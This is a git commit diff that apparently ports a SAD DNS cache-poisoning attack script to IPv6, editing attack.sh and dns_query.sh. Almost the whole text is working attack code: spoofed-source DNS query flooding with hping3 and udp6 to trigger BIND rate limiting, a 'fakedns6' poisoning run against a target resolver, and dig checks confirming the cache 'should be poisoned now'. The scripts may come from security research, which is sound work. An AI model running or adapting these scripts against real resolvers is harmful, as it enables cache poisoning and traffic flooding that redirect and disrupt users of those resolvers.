summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
author韩丁康 <[email protected]>2023-10-22 20:52:20 +0800
committer韩丁康 <[email protected]>2023-10-22 20:52:20 +0800
commit76e554c6601d2aa847e3d2366743da709d01c856 (patch)
tree28e615b46d4206632e6207c5828ed09824967d99
parent396cc521f3ffe75ff3dfe5529bfca52f07b46e0a (diff)
脚本改进
-rw-r--r--attack.sh14
-rw-r--r--dns_query.sh5
2 files changed, 11 insertions, 8 deletions
diff --git a/attack.sh b/attack.sh
index 013ae40..85acfd4 100644
--- a/attack.sh
+++ b/attack.sh
@@ -10,25 +10,25 @@ sleep 10
# flood
# This is specifically for BIND. To prevent it from answering queries sent by 1.2.3.4, we spoof 1.2.3.250 to flood queries. BIND will then block all queries from the same /24 network.
-./dns_query.sh $5 `echo $1 | sed -E 's/\.[0-9]*$/\.250/g'` 789 `echo $4 | sed "s/\./ /g"` &
-cd ..
+#sh ./dns_query.sh $5 `echo $1 | sed -E 's/\.[0-9]*$/\.250/g'` 789 `echo $4 | sed "s/\./ /g"`
+bash ./dns_query.sh $5 `echo $1` 789 `echo $4 | sed "s/\./ /g"`
# Start attack
# Change the argument accordingly
-time ./saddns -a $5 -b1 $1 -i $3 -n $4 -r $1 -t 50000 -ad $2 -tg 0 -s 10000 -e 65000 -j 0
+time ./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -ad $2 -tg 0 -s 10000 -e 65000 -j 0
# Attack finished
# Kill the flooding process.
-pkill hping
+# pkill hping
# Validations
echo 'After attack:'
dig @$1 $4 AAAA
echo 'If there is no change in result, please wait for the original cache to expire. Otherwise please terminate the attack by Ctrl-C.'
-sleeptime=`dig @$1 $4 | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
+sleeptime=`dig @$1 $4 AAAA | grep -o -P '[0-9]+[ \t]*IN' | head -n 1 | sed 's/IN//g'`
echo "Wait for $sleeptime seconds..."
sleep $sleeptime
echo 'Cache should be poisoned now:'
-dig @$1 $4
+dig @$1 $4 AAAA
echo 'Wait for another 2 seconds...'
sleep 2
-dig @$1 $4
+dig @$1 $4 AAAA
diff --git a/dns_query.sh b/dns_query.sh
index 881d9a0..db7973e 100644
--- a/dns_query.sh
+++ b/dns_query.sh
@@ -9,6 +9,7 @@ do
echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin
echo -n "$var" >> dns_mid.bin
done
+echo '10s to start attack...'
# set a random TxID
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
@@ -16,4 +17,6 @@ echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
# change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
# fire!
-sudo hping3 $1 -2 -p 53 -E dns.bin -d `du -b dns.bin | awk '{print $1}'` -i u50000 -a $2
+echo "fire"
+#sudo hping3 $1 -2 -p 53 -E dns.bin -d `du -b dns.bin | awk '{print $1}'` -i u50000 -a $2
+udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2